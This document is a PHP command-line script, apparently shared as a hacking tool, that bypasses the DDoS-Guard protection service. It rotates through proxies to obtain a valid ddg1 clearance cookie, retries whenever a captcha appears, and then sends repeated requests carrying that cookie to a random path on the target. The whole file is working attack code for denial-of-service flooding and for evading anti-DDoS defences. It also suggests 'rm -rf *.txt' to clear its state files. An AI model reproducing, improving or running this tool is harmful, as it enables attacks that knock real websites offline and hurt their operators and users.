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bypass.php
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bypass.php
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<?php
/*
Name: DDoS-Guard Bypass
Description: Bypasses DDoS-Guard's system. This can be improved, but don't feel like porting it to another language.
Coded by Mo.
Started: 05/07/2020
Last Edited: 05/08/2020
Discord: mo.#1337
*/
error_reporting(0);
$url = $argv[1];
$requests = $argv[2]; if($requests == null) { $requests = "5"; }
$timeout = $argv[3]; if($timeout == null) { $timeout = "3"; }
$delay = $argv[4]; if($delay == null) { $delay = "2"; }
$file = $argv[5]; if($file == null) { $file = "proxies.txt"; }
$type = $argv[6];
//Usage
if($url == null || $requests == null || $timeout == null || $delay == null || $file == null || $type == null){
echo "Usage: php bypass.php <URL> <REQUESTS> <TIMEOUT TO CLOSE CONNECTION/3> <DELAY IN BETWEEN ATTACKS/3> <PROXIES.TXT> <HTTPS/SOCKS4/SOCKS5>\n";
die();
}
//Determing what proxies to use
$type = strtoupper($type);
if($type == "SOCKS4") { $protocol = "socks4://"; }
if($type == "SOCKS5") { $protocol = "socks5://"; }
if($type == "HTTPS" || $type == "HTTP") { $protocol = ""; }
//Payload
function generateRandomString($length = 15) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
$payload = generateRandomString();
echo "----------------------------------------------\n\n";
echo " ██████╗ █████╗ ██╗ ██╗██████╗ █████╗ ███████╗███████╗
██╔════╝ ██╔══██╗╚██╗ ██╔╝██╔══██╗██╔══██╗██╔════╝██╔════╝
██║ ███╗███████║ ╚████╔╝ ██████╔╝███████║███████╗███████╗
██║ ██║██╔══██║ ╚██╔╝ ██╔═══╝ ██╔══██║╚════██║╚════██║
╚██████╔╝██║ ██║ ██║ ██║ ██║ ██║███████║███████║
╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝\n\n";
echo "----------------------------------------------\n";
echo "[+] Target: $url\n";
echo "[+] Timeout: $timeout\n";
echo "[+] Delay: $delay\n";
echo "[+] Proxy Type: $type\n";
echo "[+] Payload: $payload\n";
echo "----------------------------------------------\n";
//First request needed to get cookie... Attempts 5 times to get a valid cookie, and also to test proxy.
for ($x = 1; $x <= 30; $x++) {
//Grabbing the proxy
$f_contents = file($file);
$proxy = $f_contents[rand(0, count($f_contents) - 1)];
$proxy = preg_replace('/\s+/', '', $proxy);
if($proxy == null){
echo "[-] Failed to load proxy list! Ending...\n";
die();
}
echo "[+] Proxy: $proxy\n";
$cookie_location = "$proxy.txt";
//Checks if attack is on-going
if (file_get_contents($cookie_location) != null) {
echo "[+] This proxy is already being used! Use 'rm -rf *.txt' if you feel like this is an error... Ending...\n";
} else {
//Request 1
$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, ''.$protocol.''.$proxy.'');
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/'.$proxy.'.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0',
'Accept-Language: en-US,en;q=0.5',
'DNT: 1',
'Connection: keep-alive',
'Upgrade-Insecure-Requests: 1',
'TE: Trailers'
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$rt = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close ($ch);
//Blank Web Request, bad proxy?
if($rt == null) {
echo "[-] Web returned blank, retrying with new proxy...\n";
} else {
//Captcha
if(strpos($rt, 'We are receiving a lot of suspicious requests') !== false || strpos($rt, 'DDoS protection by DDoS-GUARD') !== false) {
echo "[-] Captcha, retrying with new proxy...\n";
} else {
break; //Good, let's continue!
}
}
}
}
//Final checks for request #1
if($rt == null) {
echo "[-] Web returned blank, ending...\n";
die();
}
if(strpos($rt, 'We are receiving a lot of suspicious requests') !== false) {
echo "[-] Captcha, ending...\n";
die();
}
echo "----------------------------------------------\n";
//Parsing Cookie
$getcookie = file_get_contents(''.$proxy.'.txt');
$getcookie1 = preg_replace('/\s+/', '_', $getcookie);
$first_step1 = explode('ddg1_' , $getcookie1);
$second_step1 = explode("_" , $first_step1[1] );
$secret = $second_step1[0];
if($secret == null) {
echo "[-] Could not find cookie! Ending...\n";
die();
} else {
echo "[+] Found cookie: $secret\n";
$file = "working_$type.txt";
$f = fopen($file, 'a');
fwrite($f, "$$proxy\n");
fclose($f);
}
echo "[+] Sending $requests requests to $url\n";
echo "----------------------------------------------\n";
//Send the attack, request #2
for ($x = 1; $x <= $requests; $x++) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_PROXY, ''.$protocol.''.$proxy.'');
curl_setopt($ch, CURLOPT_URL, $url . '/' . $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0',
'Accept-Language: en-US,en;q=0.5',
'DNT: 1',
'Connection: keep-alive',
'Upgrade-Insecure-Requests: 1',
'TE: Trailers',
'Cookie: '. $secret
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
$rt2 = curl_exec($ch);
$info = curl_getinfo($ch);
curl_close ($ch);
if($rt == null) {
echo "[#$x] Blank web request!\n";
} else {
echo "[#$x] Sent request to $url\n";
}
if(strpos($rt2, 'We are receiving a lot of suspicious requests') !== false) {
echo "Captcha detected! Ending...\n";
unlink($cookie_location);
break;
}
sleep($delay); //Delay 2 seconds!
}
echo "Attack finished!\n";
unlink($cookie_location);
?>